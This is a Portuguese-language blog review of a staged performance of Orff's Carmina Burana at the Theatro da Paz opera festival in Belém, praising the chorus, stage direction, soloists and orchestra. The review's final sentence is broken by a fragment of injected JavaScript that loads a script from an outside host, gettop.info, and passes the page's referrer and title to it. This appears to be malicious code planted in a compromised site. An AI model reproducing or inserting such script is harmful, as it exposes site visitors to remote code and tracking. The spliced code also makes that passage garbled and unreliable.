Crítica

A “Carmina Burana”, de Orff, no Theatro da Paz

Este ano está acontecendo a 10ª. edição do Festival de Ópera  do Theatro da Paz.

Conversei com algumas pessoas e fiquei um tanto surpreso, ao saber que a encenação de Tosca teve lotação esgotada todos os dias e que foi necessário programar mais uma récita da Carmina Burana por estarem também esgotados os ingressos previamente disponíveis.

Parece que por aqui há um público crescente para este tipo de espetáculo, o que foi bem aproveitado pelo festival, programando além da Tosca e da Carmina Burana, um recital de dança na ópera e 3 recitais de músicas de ópera.

Dois desses espetáculos foram realizados na Igreja de Santo Alexandre, uma maravilhosa sala de espetáculos, antiga igreja, agora dessacralizada. Além de belíssima acústica, a iluminação da igreja é espetacular, sem contar o museu de peças sacras anexo a ela, com obras maravilhosas. Para quem vem à cidade, esta visita é imprescindível.

Confesso que Belém me surpreendeu muito. É uma cidade bonita (pelo menos a parte do centro, onde pude circular), cosmopolita, com restaurantes de muita classe… mas muita mesmo, com carros novos rolando pelas ruas, trazendo, no geral, uma impressão de progresso.

O Festival de Ópera, fez, no dia 26.11, a 1ª. récita do Carmina Burana, de Carl Orff, encenada. Procurei na internet alguma Carmina Burana encenada, mas não me dei bem.  Acredito que deva existir, pois a intenção do autor, pelo que sei, era de encenar sua cantata, mas não fui agraciado com este achado.

Primavera

Na verdade, Carl Orff aproveitou-se de alguns poemas encontrados num mosteiro e montou esta obra caracterizada por um ritmo fortemente penetrante, por uma inovadora orquestração e por uma brilhante harmonia. Muita ousadia, como disse Gilberto Chaves, montar esta encenação, pois não é como uma ópera que tem uma trama e uma sequência lógica de ações, dentro do enredo.

Nesta cantata, o que regula as possíveis ações no palco, são simplesmente os textos que a compõem e, mesmo assim, as partes não têm, entre si, nenhuma ligação de dramaturgia.  Carl Orff elegeu a roda da fortuna e fez dela o motivo dos acontecimentos que envolvem as pessoas e, consequentemente, a humanidade como um todo.

Uns chamam de destino, outros de intervenção divina e outros de sorte ou azar. O texto da cantata faz da roda da fortuna o ensejo para acontecimentos bons ou ruins, tristes ou alegres, e assim por diante.

Sorte nossa que caiu justamente na boa e pudemos assistir a um espetáculo cheio de vida, cheio de alegria e com muita qualidade. Aliás, alegria que a obra esbanja. Conheço muita gente que já torceu o nariz para obras de Vivaldi, Händel, Bach e outros de grande quilate, mas não conheço ninguém que tenha torcido o nariz, por exemplo, para esta introdução poderosa de Orff.

Não é novidade que a Carmina Burana é uma obra eminentemente coral e, se o coral não estiver à altura dela, simplesmente a obra fenece. Não foi o que aconteceu. O coro esteve soberbo o tempo todo: poderoso, quando tinha que ser, sutil, quando precisava ser. Olhe que já ouvi e vi muitas vezes esta obra, mas fiquei arrepiado quando o coro atacou a primeira parte.

Maria Sylvia

A Direção Cênica esteve a cargo de Maria Sylvia Nunes com muita criatividade e com muita humanidade. Maria Sylvia pertence à comunidade desde os anos 50 (não sei se é nascida em Belém), mas é um ícone da cultura na cidade. A sensualidade esteve presente quando tinha que estar, mas na conta certa: nem de menos e nem demais. Muito boa a ideia da tenda do amor, mas achei que poderia durar um pouco mais do que foi. Ao final, fechou o espetáculo com chave de ouro fazendo cair sobre a plateia uma chuva de pétalas de flores.

Ressaltamos um trecho que ela mesma escreveu e que define bem esta obra tão interessante: “ Orff, simplificando sua linguagem sonora e usando elementos arcaizantes, conseguiu dar ao conjunto um tom de culto obscuro e primitivo, por vezes, enquanto, em outras vezes, dá um retrato bem humorado da vida de Cocagne. Tudo isso com aquela ideia que inspirou os antigos, o tempo foge e a Roda da Fortuna vira, triturando o tempo e as vidas humanas. O melhor amor é o que une corpo e alma”.

A coreografia dos bailarinos e os movimentos do coro, ajudaram a manter o nível do espetáculo, mesmo quando a música se repetia, arriscando a integridade da encenação. Aí entra o dedo de Fábio de Mello, cuja competência não surpreende ninguém, mas também os bailarinos da Cia de Dança Clara Pinto fizeram por onde, desempenhando muito bem os seus papéis.

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Lys Nardoto e Federico Sanguinetti

Os solistas estiveram bem. Flávio Leite, num papel difícil se bem que pequeno, não comprometeu. Federico Sanguinetti muito bem também, sendo o solista mais requisitado no decorrer da encenação. Lys Nardoto cumpriu o seu papel com a bela voz e a elegância que sempre esbanja.

A orquestra esteve bem, dentro do espírito da obra, dirigida com competência pelo maestro Miguel Campos Neto. Os figurinos de Elena Toscano, muito bons, chamaram a atenção, para mim, dentro do espírito da época em que foram escritos os textos que dão vida a esta cantata.

Quero finalizar com um convite: visitem Belém e curtam o que ela tem.}s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

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Antônio Rodrigues
Apaixonado por música coral, é um dos fundadores e mantenedor do movimento.com.